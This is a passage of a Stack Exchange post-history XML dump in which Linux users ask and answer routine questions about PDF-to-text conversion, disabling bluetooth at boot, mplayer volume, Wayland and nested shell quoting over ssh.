  <row Id="10438" PostHistoryTypeId="5" PostId="4748" RevisionGUID="08fc778e-faf2-4079-b3eb-dfdf11cda9ca" CreationDate="2010-12-11T14:12:14.507" UserId="688" Comment="grammar" Text="An installed library that has no installed packages depending on it is referred to as **orphaned**. One of the tools used to determine which libraries are orphaned on a Debian system is named [deborphan][1]. What is the Fedora equivalent?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://packages.debian.org/sid/deborphan" />
  <row Id="10439" PostHistoryTypeId="2" PostId="4759" RevisionGUID="3351e41c-fc21-4177-b933-12011e29b7dd" CreationDate="2010-12-11T14:46:30.497" UserId="3055" Text="I need PDF files to text so I can search over them in bulk from commandline. Is there some converter for Ubuntu, OBSD or similar distro?&#xD;&#xA;&#xD;&#xA;Perhaps related post, OCR with ubuntu [here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://askubuntu.com/questions/8792/optical-character-recognition-software-on-ubuntu" />
  <row Id="10440" PostHistoryTypeId="1" PostId="4759" RevisionGUID="3351e41c-fc21-4177-b933-12011e29b7dd" CreationDate="2010-12-11T14:46:30.497" UserId="3055" Text="Is there some sort of PDF to text -converter?" />
  <row Id="10441" PostHistoryTypeId="3" PostId="4759" RevisionGUID="3351e41c-fc21-4177-b933-12011e29b7dd" CreationDate="2010-12-11T14:46:30.497" UserId="3055" Text="épdfàéocrà" />
  <row Id="10442" PostHistoryTypeId="2" PostId="4760" RevisionGUID="4e10cc8b-07e3-4ee4-af41-147ba0155187" CreationDate="2010-12-11T14:57:28.933" UserId="2594" Text="pdftotext is likely what you are looking for: http://en.wikipedia.org/wiki/Pdftotext unless the text you want to extract is really under a graphical form, which is not that common with pdf documents." />
  <row Id="10443" PostHistoryTypeId="5" PostId="4737" RevisionGUID="81909aec-d5d2-4f96-a7a8-d9fe9d675a1c" CreationDate="2010-12-11T15:17:35.723" UserId="3045" Comment="Added a link to the original superuser question" Text="Hi all,&#xD;&#xA;&#xD;&#xA;I'm trying to get some efficient auto-completing going here, and have hit upon a bit of a snag.&#xD;&#xA;&#xD;&#xA;I've got a command for setting two things at once. The first is a relatively small list, but the second, if not filtered by the first, is unmanageably huge.&#xD;&#xA;&#xD;&#xA;What I want to be able to do is pass what's already been typed or auto-completed for the first argument to the second autocomplete command...&#xD;&#xA;&#xD;&#xA;    complete job 'p/1/`listJobs`/' 'p/2/`listTasks`/'&#xD;&#xA;&#xD;&#xA;What I want to be able to do is pass the job that has already been entered for the first argument to the 'listTasks' command.&#xD;&#xA;&#xD;&#xA;Any idea how I can do this?&#xD;&#xA;&#xD;&#xA;Cheers&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;(this is a repost from an old SuperUser.com question of mine that nobody ever answered... The SuperUser question can be found &lt;a href=&quot;http://superuser.com/questions/208873/when-auto-completing-in-tcsh-can-i-reference-a-previous-argument&quot;&gt;here&lt;/a&gt;)" />
  <row Id="10444" PostHistoryTypeId="2" PostId="4761" RevisionGUID="4567146f-67b3-4241-bb09-7b13bfe11fca" CreationDate="2010-12-11T16:04:23.777" UserId="688" Text="Please show me which magic button to press for the case where I'm tired of manually switching off the distracting bluetooth light on my laptop after every boot-up." />
  <row Id="10445" PostHistoryTypeId="1" PostId="4761" RevisionGUID="4567146f-67b3-4241-bb09-7b13bfe11fca" CreationDate="2010-12-11T16:04:23.777" UserId="688" Text="How to ensure the bluetooth is switched off after boot up?" />
  <row Id="10446" PostHistoryTypeId="3" PostId="4761" RevisionGUID="4567146f-67b3-4241-bb09-7b13bfe11fca" CreationDate="2010-12-11T16:04:23.777" UserId="688" Text="égnomeàédebianàébluetoothà" />
  <row Id="10447" PostHistoryTypeId="2" PostId="4762" RevisionGUID="aa60abed-88af-4fbf-8463-d9a5c54bee16" CreationDate="2010-12-11T16:26:18.590" UserId="1071" Text="You have a lot of options!&#xD;&#xA;&#xD;&#xA;`pdftotext` from &lt;a href=&quot;http://poppler.freedesktop.org/&quot;&gt;poppler&lt;/a&gt; has already been mentioned.&#xD;&#xA;&#xD;&#xA;There's &lt;a href=&quot;http://hackage.haskell.org/package/pdf2line&quot;&gt;a Haskell program called `pdf2line`&lt;/a&gt; which works well.&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://calibre-ebook.com&quot;&gt;calibre&lt;/a&gt;'s `ebook-convert` commandline program (or calibre itself) is another option; it can convert PDF to plain text, or other ebook-format (RTF, ePub), in my opinion it generates better results than pdftotext, although it is considerably slower.&#xD;&#xA;&#xD;&#xA;`ebook-convert file.pdf file.txt`&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://abisource.org&quot;&gt;AbiWord&lt;/a&gt; can convert between any formats it knows from the command-line, and at least optionally has a PDF import plugin:&#xD;&#xA;&#xD;&#xA;`abiword --to=txt file.pdf`&#xD;&#xA;&#xD;&#xA;Yet another option is `podofotextextract` from the &lt;a href=&quot;http://podofo.sourceforge.net/about.html#tools&quot;&gt;podofo PDF tools library.&lt;/a&gt; I haven't really tried that.&#xD;&#xA;&#xD;&#xA;If you combine the two Ghostscript tools, `pdf2ps` and `ps2ascii`, you have yet another option.&#xD;&#xA;&#xD;&#xA;I can actually think of a few more methods, but I'll leave it at that for now. ;)" />
  <row Id="10449" PostHistoryTypeId="2" PostId="4763" RevisionGUID="cd6d5821-5600-4938-b307-27485da00bdb" CreationDate="2010-12-11T17:10:00.947" UserId="1207" Text="*Note: I am unable to test this answer.*&#xD;&#xA;&#xD;&#xA;Assuming that you want to shut off bluetooth and not just the indicator light, the [rfkill][1] utility does what you want. The following command should disable bluetooth:&#xD;&#xA;&#xD;&#xA;    $ rfkill block bluetooth&#xD;&#xA;&#xD;&#xA;In order to do this on every boot, this line can be placed in `/etc/rc.local`, another custom init script, or (since you've tagged this debian) an upstart script.  `rfkill` uses `/dev/rfkill` which is an interface provided by the Linux kernel.&#xD;&#xA;&#xD;&#xA;  [1]: http://manpages.ubuntu.com/manpages/maverick/en/man8/rfkill.8.html" />
  <row Id="10450" PostHistoryTypeId="5" PostId="4763" RevisionGUID="f89b574e-06b3-4c01-ab68-f8d5d8a75446" CreationDate="2010-12-11T17:21:31.480" UserId="1207" Comment="added 300 characters in body" Text="*Note: I am unable to test this answer.*&#xD;&#xA;&#xD;&#xA;Assuming that you want to shut off bluetooth and not just the indicator light, the [rfkill][1] utility does what you want. The following command should disable bluetooth:&#xD;&#xA;&#xD;&#xA;    $ rfkill block bluetooth&#xD;&#xA;&#xD;&#xA;In order to do this on every boot, this line can be placed in `/etc/rc.local`, another custom init script, or (since you've tagged this debian) an upstart script.  An upstart script may be a file named `/etc/init/disable-bluetooth.conf` containing something like:&#xD;&#xA;&#xD;&#xA;    description &quot;Disable Bluetooth devices&quot;&#xD;&#xA;&#xD;&#xA;    start on startup&#xD;&#xA;&#xD;&#xA;    task&#xD;&#xA;    exec /sbin/rfkill block bluetooth&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`rfkill` uses `/dev/rfkill` which is an [interface provided by the Linux kernel][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://manpages.ubuntu.com/manpages/maverick/en/man8/rfkill.8.html&#xD;&#xA;  [2]: http://www.mjmwired.net/kernel/Documentation/rfkill.txt" />
  <row Id="10451" PostHistoryTypeId="2" PostId="4764" RevisionGUID="34d3b0a3-4de2-4549-9675-af3adaf45d3c" CreationDate="2010-12-11T17:24:46.530" UserId="885" Text="You can convert PDFs to text on the command line with [pdftotext](http://en.wikipedia.org/wiki/Pdftotext) (Ubuntu: [poppler-utils](http://packages.ubuntu.com/NAME) [![Install NAME](http://bit.ly/software-small)](http://apt.ubuntu.com/p/NAME); OpenBSD: `xpdf-utils` package).&#xD;&#xA;&#xD;&#xA;You can use [Recoll](http://www.lesbonscomptes.com/recoll/)&#xD;&#xA;(Ubuntu: [recoll](http://packages.ubuntu.com/recoll) [![Install recoll](http://bit.ly/software-small)](http://apt.ubuntu.com/p/recoll); OpenBSD: no port, but there's one for [FreeBSD](http://www.freebsd.org/cgi/cvsweb.cgi/ports/deskutils/recoll/).) to search inside various formatted text document types, including PDF. There's a GUI, and it builds an index automatically under the hood. It uses `pdftotext` to convert PDF to text.&#xD;&#xA;&#xD;&#xA;Acrobat Reader (at least version 9 under Linux) has a limited multiple-file search capability (you can search in all the files in a directory).&#xD;&#xA;" />
  <row Id="10452" PostHistoryTypeId="6" PostId="4750" RevisionGUID="3de61cb6-1f28-447e-97ba-45b2efe1826a" CreationDate="2010-12-11T18:06:53.233" UserId="688" Comment="edited tags" Text="éshellàéhistoryà" />
  <row Id="10453" PostHistoryTypeId="5" PostId="4645" RevisionGUID="dc1011d3-e328-4969-893c-807c216580a3" CreationDate="2010-12-11T18:17:53.967" UserId="688" Comment="reproduced in a few kernels; wicd isn't special; edited tags" Text="Using either NetworkManager or Wicd to manage wireless networking on my Wi-Fi-powered laptop, too often I get randomly disconnected, and I see these messages on __/var/log/syslog__:&#xD;&#xA;&#xD;&#xA;    Dec 10 05:21:26 debian dhclient: DHCPREQUEST on wlan0 to 10.0.0.2 port 67&#xD;&#xA;    Dec 10 05:21:26 debian dhclient: DHCPACK from 10.0.0.2&#xD;&#xA;    Dec 10 05:21:26 debian dhclient: bound to 10.0.0.4 -- renewal in 1662 seconds.&#xD;&#xA;    Dec 10 05:40:38 debian kernel: [105982.935232] iwlagn 0000:06:00.0: Microcode SW error detected.  Restarting 0x82000000.&#xD;&#xA;    Dec 10 05:40:38 debian kernel: [105983.182330] Registered led device: iwl-phy0::radio&#xD;&#xA;    Dec 10 05:40:38 debian kernel: [105983.182586] Registered led device: iwl-phy0::assoc&#xD;&#xA;    Dec 10 05:40:38 debian kernel: [105983.182658] Registered led device: iwl-phy0::RX&#xD;&#xA;    Dec 10 05:40:38 debian kernel: [105983.182872] Registered led device: iwl-phy0::TX&#xD;&#xA;&#xD;&#xA;*I think __05:40:38__ is the first line that indicates trouble*&#xD;&#xA;&#xD;&#xA;With NetworkManager, I recover from this situation with the following command each time this happens, but a less manual solution/workaround would be extra nice:&#xD;&#xA;&#xD;&#xA;    nmcli nm wifi off &amp;&amp; nmcli nm wifi on&#xD;&#xA;&#xD;&#xA;__notes__:&#xD;&#xA;&#xD;&#xA;* Wi-Fi chipset is Intel's **4965**.&#xD;&#xA;* I reproduced this problem on **2.6.32**, **2.6.36** and **2.6.37-rc4** kernel versions." />
  <row Id="10454" PostHistoryTypeId="4" PostId="4645" RevisionGUID="dc1011d3-e328-4969-893c-807c216580a3" CreationDate="2010-12-11T18:17:53.967" UserId="688" Comment="reproduced in a few kernels; wicd isn't special; edited tags" Text="Wi-Fi constantly disconnects" />
  <row Id="10455" PostHistoryTypeId="6" PostId="4645" RevisionGUID="dc1011d3-e328-4969-893c-807c216580a3" CreationDate="2010-12-11T18:17:53.967" UserId="688" Comment="reproduced in a few kernels; wicd isn't special; edited tags" Text="ékernelàédebianàéwifià" />
  <row Id="10456" PostHistoryTypeId="5" PostId="4763" RevisionGUID="119ccb98-c52b-4a90-9e6c-c466ebecf214" CreationDate="2010-12-11T18:28:57.870" UserId="1207" Comment="deleted 19 characters in body" Text="*Note: I am unable to test this answer.*&#xD;&#xA;&#xD;&#xA;Assuming that you want to shut off bluetooth and not just the indicator light, the [rfkill][1] utility does what you want. The following command should disable bluetooth:&#xD;&#xA;&#xD;&#xA;    $ rfkill block bluetooth&#xD;&#xA;&#xD;&#xA;In order to do this on every boot, this line can be placed in `/etc/rc.local`, another custom init script, or (if available) an upstart script.  An upstart script may be a file named `/etc/init/disable-bluetooth.conf` containing something like:&#xD;&#xA;&#xD;&#xA;    description &quot;Disable Bluetooth devices&quot;&#xD;&#xA;&#xD;&#xA;    start on startup&#xD;&#xA;&#xD;&#xA;    task&#xD;&#xA;    exec /sbin/rfkill block bluetooth&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`rfkill` uses `/dev/rfkill` which is an [interface provided by the Linux kernel][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://manpages.ubuntu.com/manpages/maverick/en/man8/rfkill.8.html&#xD;&#xA;  [2]: http://www.mjmwired.net/kernel/Documentation/rfkill.txt" />
  <row Id="10457" PostHistoryTypeId="5" PostId="4763" RevisionGUID="21f86356-2018-4ef0-8213-0195ff702bdc" CreationDate="2010-12-11T18:43:36.120" UserId="1207" Comment="added 756 characters in body; added 1 characters in body" Text="*Note: I am unable to test this answer.*&#xD;&#xA;&#xD;&#xA;Assuming that you want to shut off bluetooth and not just the indicator light, the [rfkill][1] utility does what you want. The following command should disable bluetooth:&#xD;&#xA;&#xD;&#xA;    $ rfkill block bluetooth&#xD;&#xA;&#xD;&#xA;In order to do this on every boot, this line can be placed in `/etc/rc.local`, another custom init script, or (if available) an upstart script.  I recommend using the full path of the executable inside `/etc/rc.local` or in an custom init script.  On my system this is `/sbin/rfkill`, but can be found using the command `which rfkill`.  Thus on my system, I would place the following command within `/etc/rc.local` somewhere before `exit 0`:&#xD;&#xA;&#xD;&#xA;     /sbin/rfkill block bluetooth&#xD;&#xA;&#xD;&#xA;Depending on your Debian setup, you may not have `/etc/rc.local`.  In this case, a custom init script may be the way to go.  The init script could be saved at `/etc/init.d/disable-bluetooth` and contain something like:&#xD;&#xA;&#xD;&#xA;     #!/bin/sh&#xD;&#xA;     /sbin/rfkill block bluetooth&#xD;&#xA;&#xD;&#xA;Then ensure the command is executable (`chmod 755`) and add it to startup (`update-rc.d disable-bluetooth defaults`).&#xD;&#xA;&#xD;&#xA;An example of an upstart upstart script would be a file named `/etc/init/disable-bluetooth.conf` containing something like:&#xD;&#xA;&#xD;&#xA;    description &quot;Disable Bluetooth devices&quot;&#xD;&#xA;&#xD;&#xA;    start on startup&#xD;&#xA;&#xD;&#xA;    task&#xD;&#xA;    exec /sbin/rfkill block bluetooth&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`rfkill` uses `/dev/rfkill` which is an [interface provided by the Linux kernel][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://manpages.ubuntu.com/manpages/maverick/en/man8/rfkill.8.html&#xD;&#xA;  [2]: http://www.mjmwired.net/kernel/Documentation/rfkill.txt" />
  <row Id="10458" PostHistoryTypeId="2" PostId="4765" RevisionGUID="3416358b-0cc4-4728-93e4-8379e5057964" CreationDate="2010-12-11T18:46:07.303" UserId="1535" Text="Today I had to force-shutdown my machine after it froze during resume from suspend.  Since the reboot, I've found that the &lt;kbd&gt;p&lt;/kbd&gt; key doesn't work normally in X.  It does work normally in the console.&#xD;&#xA;&#xD;&#xA;Modified keypresses, e.g. &lt;kbd&gt;shift&lt;/kbd&gt;-&lt;kbd&gt;p&lt;/kbd&gt;, &lt;kbd&gt;ctrl&lt;/kbd&gt;-&lt;kbd&gt;p&lt;/kbd&gt;, do work normally.&#xD;&#xA;&#xD;&#xA;Pressing &lt;kbd&gt;p&lt;/kbd&gt; with `xev` running gives&#xD;&#xA;&#xD;&#xA;    FocusOut event, serial 34, synthetic NO, window 0x5000001,&#xD;&#xA;        mode NotifyGrab, detail NotifyAncestor&#xD;&#xA;    &#xD;&#xA;    FocusIn event, serial 34, synthetic NO, window 0x5000001,&#xD;&#xA;        mode NotifyUngrab, detail NotifyAncestor&#xD;&#xA;    &#xD;&#xA;    KeymapNotify event, serial 34, synthetic NO, window 0x0,&#xD;&#xA;        keys:  2   0   0   0   0   0   0   0   0   0   0   0   0   0   0   0   &#xD;&#xA;               0   0   0   0   0   0   0   0   0   0   0   0   0   0   0   0   &#xD;&#xA;&#xD;&#xA;Could this problem be happening because of file corruption?  What file would I check for corruption?&#xD;&#xA;&#xD;&#xA;I've done an fsck on the system drive —by running `tune2fs -C 200 /dev/sda3` before rebooting— which seems to have come up clean.  I.E.&#xD;&#xA;&#xD;&#xA;    $ sudo tune2fs -l /dev/sda3 | grep 'state\|check'&#xD;&#xA;    Filesystem state:         clean&#xD;&#xA;    Last checked:             Sat Dec 11 12:27:16 2010&#xD;&#xA;    Next check after:         Thu Jun  9 13:27:16 2011&#xD;&#xA;&#xD;&#xA;I'm running an updated (last dist-upgrade done yesterday) ubuntu 10.10." />
  <row Id="10459" PostHistoryTypeId="1" PostId="4765" RevisionGUID="3416358b-0cc4-4728-93e4-8379e5057964" CreationDate="2010-12-11T18:46:07.303" UserId="1535" Text="`p` key doesn't work in X" />
  <row Id="10460" PostHistoryTypeId="3" PostId="4765" RevisionGUID="3416358b-0cc4-4728-93e4-8379e5057964" CreationDate="2010-12-11T18:46:07.303" UserId="1535" Text="éubuntuàéxorgàékeyboardà" />
  <row Id="10461" PostHistoryTypeId="2" PostId="4766" RevisionGUID="0a1bc6e6-e8a6-4ebd-bb67-65c7738dfd34" CreationDate="2010-12-11T19:04:45.757" UserId="3058" Text="Hi, &#xD;&#xA;I don't really remember any significant config changes since 3.0. &#xD;&#xA;Do you get any specific error messages or warnings if you change the first line to @version: 3.2&#xD;&#xA;?&#xD;&#xA;&#xD;&#xA;Regards, &#xD;&#xA;&#xD;&#xA;Robert Fekete &#xD;&#xA;syslog-ng documentation maintainer" />
  <row Id="10462" PostHistoryTypeId="5" PostId="4766" RevisionGUID="ed0924ba-417b-45c5-b3c7-deaccdeb3436" CreationDate="2010-12-11T19:15:05.690" UserId="3058" Comment="corrected answer" Text="Hi, &#xD;&#xA;Its probably related to this change in 3.2: &#xD;&#xA;&#xD;&#xA;* syslog-ng traditionally expected an optional hostname field even&#xD;&#xA;	  when a syslog message is received on a local transport (e.g.&#xD;&#xA;	  /dev/log).  However no UNIX version is known to include this&#xD;&#xA;	  field. This caused problems when the application creating the log&#xD;&#xA;	  message has a space in its program name field.  This behaviour has&#xD;&#xA;	  been changed for the unix-stream/unix-dgram/pipe drivers if the&#xD;&#xA;	  config version is 3.2 and can be restored by using an explicit&#xD;&#xA;	  'expect-hostname' flag for the specific source.&#xD;&#xA;&#xD;&#xA;You receive the warning because you use the unix-stream(&quot;/dev/log&quot;); in your source. If you don't experience any problems with your local logs, there is nothing else to do except changing the first line to @version: 3.2&#xD;&#xA;&#xD;&#xA;If your distro adds the hostname to log messages coming from /dev/log (which they rarely do), then include flags(expect-hostname) in the source.&#xD;&#xA;&#xD;&#xA;Regards, &#xD;&#xA;&#xD;&#xA;Robert Fekete &#xD;&#xA;syslog-ng documentation maintainer" />
  <row Id="10463" PostHistoryTypeId="2" PostId="4767" RevisionGUID="f6637d6c-d064-49b4-a9d9-e7c10c078e05" CreationDate="2010-12-11T20:44:36.063" UserId="1535" Text="I've realized that this was happening because of a typo I made when manually editing my xfce keyboard shortcuts file.&#xD;&#xA;&#xD;&#xA;Specifically, the file `~/.config/xfce4/xfconf/xfce-perchannel-xml/xfce4-keyboard-shortcuts.xml` used the modifier `Meta5` (which doesn't exist) instead of `Mod5` to modify the &lt;kbd&gt;p&lt;/kbd&gt; key.&#xD;&#xA;&#xD;&#xA;I did note that no errors were recorded in `~/.xsession-errors`, despite the fact that xfce seems to register things there.&#xD;&#xA;&#xD;&#xA;It may be useful to some people to note that one of my reasons for editing the file was in order to make the same shortcuts work with or without the Keyboard Layouts applet being loaded.  Depending on whether or not that applet is loaded, the &quot;windows&quot; key will register as either `&lt;Super&gt;` or `&lt;Mod5&gt;`." />
  <row Id="10464" PostHistoryTypeId="2" PostId="4768" RevisionGUID="a573e617-c171-46a3-8206-a28333088a79" CreationDate="2010-12-11T20:52:37.877" UserId="3059" Text="When I change volume in mplayer it also chages for other applications. How can I configure mplayer to only change its own volume? Or is this a problem with rest of the audio stack. I am using alsa with esd." />
  <row Id="10465" PostHistoryTypeId="1" PostId="4768" RevisionGUID="a573e617-c171-46a3-8206-a28333088a79" CreationDate="2010-12-11T20:52:37.877" UserId="3059" Text="Prevent mplayer from changing system volume" />
  <row Id="10466" PostHistoryTypeId="3" PostId="4768" RevisionGUID="a573e617-c171-46a3-8206-a28333088a79" CreationDate="2010-12-11T20:52:37.877" UserId="3059" Text="éaudioàémplayerà" />
  <row Id="10467" PostHistoryTypeId="5" PostId="4764" RevisionGUID="fc620e73-7c14-473d-9945-52c608ea5781" CreationDate="2010-12-11T22:53:49.683" UserId="885" Comment="fixed hyperlinks" Text="You can convert PDFs to text on the command line with [pdftotext](http://en.wikipedia.org/wiki/Pdftotext) (Ubuntu: [poppler-utils](http://packages.ubuntu.com/poppler-utils) [![Install poppler-utils](http://bit.ly/software-small)](http://apt.ubuntu.com/p/poppler-utils); OpenBSD: `xpdf-utils` package).&#xD;&#xA;&#xD;&#xA;You can use [Recoll](http://www.lesbonscomptes.com/recoll/)&#xD;&#xA;(Ubuntu: [recoll](http://packages.ubuntu.com/recoll) [![Install recoll](http://bit.ly/software-small)](http://apt.ubuntu.com/p/recoll); OpenBSD: no port, but there's one for [FreeBSD](http://www.freebsd.org/cgi/cvsweb.cgi/ports/deskutils/recoll/).) to search inside various formatted text document types, including PDF. There's a GUI, and it builds an index automatically under the hood. It uses `pdftotext` to convert PDF to text.&#xD;&#xA;&#xD;&#xA;Acrobat Reader (at least version 9 under Linux) has a limited multiple-file search capability (you can search in all the files in a directory).&#xD;&#xA;" />
  <row Id="10468" PostHistoryTypeId="5" PostId="4648" RevisionGUID="ecf6a3f8-ef09-44cf-a0f1-8b6d7f37e1ef" CreationDate="2010-12-12T01:16:43.347" UserId="2973" Comment="deleted 44 characters in body" Text="I found this feature request which suggests that it is part of the nautilus package: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=529297&#xD;&#xA;&#xD;&#xA;I found the file &quot;mount-archive.desktop&quot; at: http://bazaar.launchpad.net/~ubuntu-branches/ubuntu/natty/nautilus/natty/annotate/head:/debian/mount-archive.desktop&#xD;&#xA;&#xD;&#xA;On my Ubuntu PC it is at /usr/share/applications/mount-archive.desktop&#xD;&#xA;" />
  <row Id="10469" PostHistoryTypeId="2" PostId="4769" RevisionGUID="1f60f083-194e-466d-a4a1-72ac28a221f9" CreationDate="2010-12-12T01:30:58.147" UserId="73" Text="`mplayer` takes a `-softvol` flag that makes it use the software audio mixer instead of the sound card. If you want it on permanently, you can add the following to `~/.mplayer/config`:&#xD;&#xA;&#xD;&#xA;    softvol=true" />
  <row Id="10470" PostHistoryTypeId="5" PostId="4768" RevisionGUID="77d0bad1-d3e2-47ec-a0b0-fbc078065060" CreationDate="2010-12-12T01:31:31.483" UserId="73" Comment="added 9 characters in body" Text="When I change the volume in mplayer it also changes for other applications. How can I configure mplayer to only change its own volume? Or is this a problem with the rest of the audio stack? I am using alsa with esd." />
  <row Id="10471" PostHistoryTypeId="2" PostId="4770" RevisionGUID="60601452-b9c0-4255-9e04-1a9504bacdca" CreationDate="2010-12-12T02:53:45.627" UserId="2879" Text="I often end up issuing complex commands over ssh; these commands involve piping to awk or perl one-lines, and as a result contain single quotes and $'s.  I have neither been able to figure out a hard and fast rule to do the quoting properly, nor found a good reference for it.  For instance, consider the following:&#xD;&#xA;&#xD;&#xA;    # what I'd run locally:&#xD;&#xA;    CMD='pgrep -fl java | grep -i datanode | awk '{print $1}'&#xD;&#xA;    # this works with ssh $host &quot;$CMD&quot;:&#xD;&#xA;    CMD='pgrep -fl java | grep -i datanode | awk '&quot;'&quot;'{print $1}'&quot;'&quot;&#xD;&#xA;&#xD;&#xA;(Note the extra quotes in the awk statement.)&#xD;&#xA;&#xD;&#xA;But how do I get this to work with, e.g. `ssh $host &quot;sudo su user -c '$CMD'&quot;`?  Is there a general recipe for managing quotes in such scenarios?.." />
  <row Id="10472" PostHistoryTypeId="1" PostId="4770" RevisionGUID="60601452-b9c0-4255-9e04-1a9504bacdca" CreationDate="2010-12-12T02:53:45.627" UserId="2879" Text="Quoting in ssh $host $FOO and ssh $host &quot;sudo su user -c $FOO&quot; type constructs" />
  <row Id="10473" PostHistoryTypeId="3" PostId="4770" RevisionGUID="60601452-b9c0-4255-9e04-1a9504bacdca" CreationDate="2010-12-12T02:53:45.627" UserId="2879" Text="ébashàésshà" />
  <row Id="10474" PostHistoryTypeId="2" PostId="4771" RevisionGUID="6d7e6275-8295-48e7-8e8d-dbb95e1fbf15" CreationDate="2010-12-12T04:46:21.740" UserId="3032" Text="I was looking for a lightweight X server, but failed to find one. Then I found out about Wayland. I says that it aims to coexist with X, but can run standalone.&#xD;&#xA;&#xD;&#xA;When I try to compile it, it needs Mesa, which needs X.&#xD;&#xA;&#xD;&#xA;What exactly *is* Wayland?" />
  <row Id="10475" PostHistoryTypeId="1" PostId="4771" RevisionGUID="6d7e6275-8295-48e7-8e8d-dbb95e1fbf15" CreationDate="2010-12-12T04:46:21.740" UserId="3032" Text="What is Wayland?" />
  <row Id="10476" PostHistoryTypeId="3" PostId="4771" RevisionGUID="6d7e6275-8295-48e7-8e8d-dbb95e1fbf15" CreationDate="2010-12-12T04:46:21.740" UserId="3032" Text="éxorgàéx11àécompileà" />
  <row Id="10477" PostHistoryTypeId="6" PostId="4771" RevisionGUID="f25b5f57-8d12-4a30-9b3d-e0569576bc49" CreationDate="2010-12-12T07:29:07.967" UserId="73" Comment="edited tags" Text="éxorgàéx11àécompileàéwaylandà" />
  <row Id="10478" PostHistoryTypeId="2" PostId="4772" RevisionGUID="09168418-a9e3-4629-9152-20c9c5b5b4c1" CreationDate="2010-12-12T08:28:12.207" UserId="1946" Text="How about using more double quotes?&#xD;&#xA;&#xD;&#xA;Then your `ssh $host $CMD` should work just fine with this one:&#xD;&#xA;&#xD;&#xA;`CMD=&quot;pgrep -fl java | grep -i datanode | awk '{print $1}'&quot;`&#xD;&#xA;&#xD;&#xA;Now to the more complex one, the `ssh $host &quot;sudo su user -c \&quot;$CMD\&quot;&quot;`.  I guess all you have to do is escape sensitive characters in `CMD`: `$`, `\` and `&quot;`.  So I'd try and see if this works: `echo $CMD | sed -e 's/[$\\&quot;]/\\\1/g'`.&#xD;&#xA;&#xD;&#xA;If that looks OK, wrap the echo+sed into a shell function, and you are good to go with `ssh $host &quot;sudo su user -c \&quot;$(escape_my_var $CMD)\&quot;&quot;`." />
  <row Id="10479" PostHistoryTypeId="2" PostId="4773" RevisionGUID="a7fc7dff-a51a-4802-9c5e-cc33bdd5926e" CreationDate="2010-12-12T09:58:34.770" UserId="2594" Text="http://wayland.freedesktop.org/faq.html" />
  <row Id="10480" PostHistoryTypeId="2" PostId="4774" RevisionGUID="73464767-a695-4bc4-b8f1-a1769cbc51af" CreationDate="2010-12-12T11:15:41.237" UserId="1107" Text="Dealing with multiple levels of quoting (really, multiple levels of parsing/interpretation) can get complicated. It helps to keep a few things in mind: &#xD;&#xA;&#xD;&#xA;* Each “level of quoting” can potentially involve a different language.&#xD;&#xA;* Quoting rules vary by language.&#xD;&#xA;* When dealing with more than one or two nested levels, it is usually easiest to work “from the bottom, up” (i.e. innermost to outermost).&#xD;&#xA;&#xD;&#xA;# Levels of Quoting&#xD;&#xA;&#xD;&#xA;Let us look at your example commands.&#xD;&#xA;&#xD;&#xA;    pgrep -fl java | grep -i datanode | awk '{print $1}'&#xD;&#xA;&#xD;&#xA;Your first example command (above) uses four languages: your shell, the regex in *pgrep*, the regex in *grep* (which might be different from the regex language in *pgrep*), and *awk*. There are two levels of interpretation involved: the shell and one level after the shell for each of the involved commands. There is only one explicit level of quoting (shell quoting into *awk*).&#xD;&#xA;&#xD;&#xA;    ssh host …&#xD;&#xA;&#xD;&#xA;Next you added a level of *ssh* on top. This is effectively another shell level: *ssh* does not interpret the command itself, it hands it to a shell on the remote end (via (e.g.) `sh -c …`) and that shell interprets the string.&#xD;&#xA;&#xD;&#xA;    ssh host &quot;sudo su user -c …&quot;&#xD;&#xA;&#xD;&#xA;Then you asked about adding another shell level in the middle by using *su* (via *sudo*, which does not interpret its command arguments, so we can ignore it). At this point, you have three levels of nesting going on (*awk* → shell, shell → shell (*ssh*), shell → shell (*su user -c*), so I advise using the “bottom, up” approach. I will assume that your shells are Bourne compatible (e.g. *sh*, *ash*, *dash*, *ksh*, *bash*, *zsh*, etc.). Some other kind of shell (*fish*, *rc*, etc.) might require different syntax, but the method still applies.&#xD;&#xA;&#xD;&#xA;# Bottom, Up&#xD;&#xA;&#xD;&#xA;1. Formulate the string you want to represent at the innermost level.&#xD;&#xA;1. Select a quoting mechanism from the quoting repertoire of the next-highest language.&#xD;&#xA;1. Quote the desired string according to your selected quoting mechanism.&#xD;&#xA;    * There are often many variations how to apply which quoting mechanism. Doing it by hand is usually a matter of practice and experience. When doing it programatically, it is usually best to pick the easiest to get right (usually the “most literal” (fewest escapes)).&#xD;&#xA;1. Optionally, use the resulting quoted string with additional code.&#xD;&#xA;1. If you have not yet reached your desired level of quoting/interpretation, take the resulting quoted string (plus any added code) and use it as the starting string in step 2.&#xD;&#xA;&#xD;&#xA;# Quoting Semantics Vary&#xD;&#xA;&#xD;&#xA;The thing to keep in mind here is that each language (quoting level) may give slightly different semantics (or even drastically different semantics) to the same quoting character.&#xD;&#xA;&#xD;&#xA;Most languages have a “literal” quoting mechanism, but they vary in exactly how literal they are. The single quote of Bourne-like shells is actually literal (which means you can not use it to quote a single quote character itself). Other languages (Perl, Ruby) are less literal in that they interpret **some** backslash sequences inside single quoted regions non-literally (specifically, `\\` and `\'` result in `\` and `'`, but other backslash sequences are actually literal).&#xD;&#xA;&#xD;&#xA;You will have to read the documentation for each of your languages to understand its quoting rules and the overall syntax.&#xD;&#xA;&#xD;&#xA;# Your Example&#xD;&#xA;&#xD;&#xA;The innermost level of your example is an *awk* program.&#xD;&#xA;&#xD;&#xA;    {print $1}&#xD;&#xA;&#xD;&#xA;You are going to embed this in a shell command line:&#xD;&#xA;&#xD;&#xA;    pgrep -fl java | grep -i datanode | awk …&#xD;&#xA;&#xD;&#xA;We need to protect (at a minimum) the space and the `$` in the *awk* 